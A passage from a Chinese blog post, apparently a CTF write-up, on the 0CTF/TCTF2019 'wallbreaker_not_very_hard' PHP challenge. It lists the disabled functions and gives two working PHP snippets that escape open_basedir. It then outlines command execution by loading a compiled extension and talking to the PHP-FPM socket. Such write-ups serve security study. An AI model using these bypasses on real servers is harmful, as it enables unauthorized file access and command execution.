但是这种方法只是绕过 open_basedir 的限制,需要其他人先做出题目,运行readflag把flag输出到一个文件里,才能拿到flag,还是不能绕过 disable_functions 执行命令

优雅的利用方法在下面

0CTF/TCTF2019_final wallbreaker_not_very_hard

这题是上题的难度提升版,上题的多种exp都行不通了

过滤了一堆函数:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log
 

限制目录

/var/www/html:/tmp

首先绕过 open_basedir

$file_list = array(); $it = new DirectoryIterator("glob:///v??/run/php/*"); foreach($it as $f) { $file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob:///v??/run/php/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}<br/>"; }
 

或者

chdir('/tmp'); mkdir('sky'); chdir('sky'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); var_dump(ini_get('open_basedir')); var_dump(glob('*'));
 

在 /var/run/php/ 下发现 /var/run/php/U_wi11_nev3r_kn0w.sock,就是 PHP-FPM 用的 socket

然后同上文disable_functions 来RCE的方法

编译一份PHP扩展,通过扩展加载命令函数,与 socket 通信完成RCE

wp: - #wallbreaker-(not-very)-hard - #wallbreaker-not-very-hard
 

0x05 Referer

  • #toc-3
  • #wallbreaker-easy
  • #wallbreaker-(not-very)-hard
  • 声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

文章来源:智云一二三科技

文章标题:php-fpm rce攻击

文章地址:https://www.zhihuclub.com/77931.shtml

关于作者: 智云科技

热门文章

评论已关闭

1条评论

网站地图